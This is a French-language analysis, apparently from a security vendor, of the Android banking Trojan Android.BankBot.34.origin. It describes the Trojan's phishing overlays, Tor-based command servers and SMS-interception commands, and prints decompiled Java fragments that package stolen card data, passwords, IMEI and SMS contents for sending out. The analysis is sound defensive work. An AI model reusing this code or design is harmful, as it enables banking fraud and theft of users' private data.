Le Trojan ciblant les appareils mobiles sous Android. Ce malware est conçu pour voler les données confidentielles des utilisateurs, ainsi que de l'argent sur les comptes mobiles et bancaires. Il peut être distribué sous couvert d'une mise à jour système.
Après son installation, Android.BankBot.34.origin place son raccourci sur l'écran principal qui ressemble au raccourci d'une application populaire. le Trojan supprime son raccourci, si son lancement a été effectué par l'utilisateur de l'appareil mobile. Sinon, ce raccourci reste sur l’écran. Le Trojan peut se lancer automatiquement lors du démarrage du système d'exploitation (pour ce faire, il utilise le contrôle d'événement système android.intent.action.BOOT_COMPLETED).
Suite à son initialisation, Android.BankBot.34.origin demande les droits administrateur de l'appareil mobile.
Le vol de données confidentielles.
Le Trojan surveille l'activité de l'utilisateur et attend le lancement des applications suivantes :
- Google Play (com.android.vending);
- Google Play Music (com.google.android.music);
- WhatsApp (com.whatsapp);
- Viber (com.viber.voip);
- Instagram (com.instagram.android);
- Skype (com.skype.raider);
- " VKontakte " (com.vkontakte.android) ;
- " Odnoklassniki " (ru.ok.android) ;
- Facebook (com.facebook.katana);
- Gmail (com.google.android.gm);
- Twitter (com.twitter.android).
Si l'utilisateur lance une de ces applications, Android.BankBot.34.origin affiche sur son interface une fenêtre de phishing avec des champs dans lesquels l'utilisateur doit entrer ses données confidentielles (login et mot de passe, numéro de téléphone, données de la carte bancaire). Le Trojan envoie toutes les données recueillies en JSON (JavaScript Object Notation) au serveur de gestion. Par exemple, des données de carte bancaire ont la forme suivante :
JSONObject v3 = new JSONObject();
v3.put("type", "card information");
JSONObject v1 = new JSONObject();
v1.put("number", card.getNumber());
v1.put("month", card.getMonth());
v1.put("year", card.getYear());
v1.put("cvc", card.getCvc());
v3.put("card", v1);
JSONObject v0 = new JSONObject();
v0.put("first name", address.getFirstName());
v0.put("last name", address.getLastName());
v0.put("street address", address.getStreetAddress());
v0.put("city", address.getCity());
v0.put("country", address.getCountry());
v0.put("zip code", address.getZip());
v0.put("phone", address.getPhone());
v3.put("billing address", v0);
JSONObject v2 = new JSONObject();
v2.put("vbv password", info.getVbvPass());
v3.put("additional information", v2);
v3.put("code", v5.getString("APP_ID", "-1"));
La communication avec le serveur de gestion et l'exécution des commandes.
Pour transférer les données volées aux malfaiteurs, ainsi que pour recevoir les commandes, Android.BankBot.34.origin se connecte au serveur de gestion situé dans le réseau anonyme Tor sur le pseudo domaine http://[xxxxxxxxx]wxnoyew.onion/. Android.BankBot.34.origin peut utiliser un protocole anonyme, car son code inclut les fragments d'une application org.torproject.android légitime. Si le serveur principal n'est pas disponible, le Trojan utilise un serveur de gestion de réserve, situé à l'adresse http://[xxxxx]panel.ru/send.php.
Au cours de la première connexion avec le serveur de gestion, le Trojan effectue l'enregistrement de l'appareil mobile (son modèle, le numéro IMEI, la version de l'OS) :
JSONObject v1 = new JSONObject();
try {
v1.put("type", "device info");
v1.put("phone number", Utils.getPhoneNumber(context));
v1.put("country", Utils.getCountry(context));
v1.put("imei", Utils.getIMEI(context));
v1.put("model", Utils.getModel());
v1.put("sms", new JSONArray(Utils.readMessagesFromDeviceDB(context)));
v1.put("operator", Utils.getOperator(context));
v1.put("os", Utils.getOS());
v1.put("client number", "10");
Android.BankBot.34.origin peut exécuter les commandes suivantes :
- activer ou désactiver l'interception des SMS entrants et sortants ;
- envoyer une requête USSD ;
- ajouter un numéro dans la black liste afin de bloquer les SMS provenant de ce numéro (par défaut, cette liste inclut les numéros de service des opérateurs mobiles, de la banque en ligne) ;
- nettoyer la black liste ;
- envoyer au serveur la liste des applications installées ;
- envoyer un SMS ;
- envoyer au serveur l'identificateur unique du malware ;
- afficher une boîte de dialogue ou un message sur l'écran. Les paramètres de ce message sont reçus dans une commande.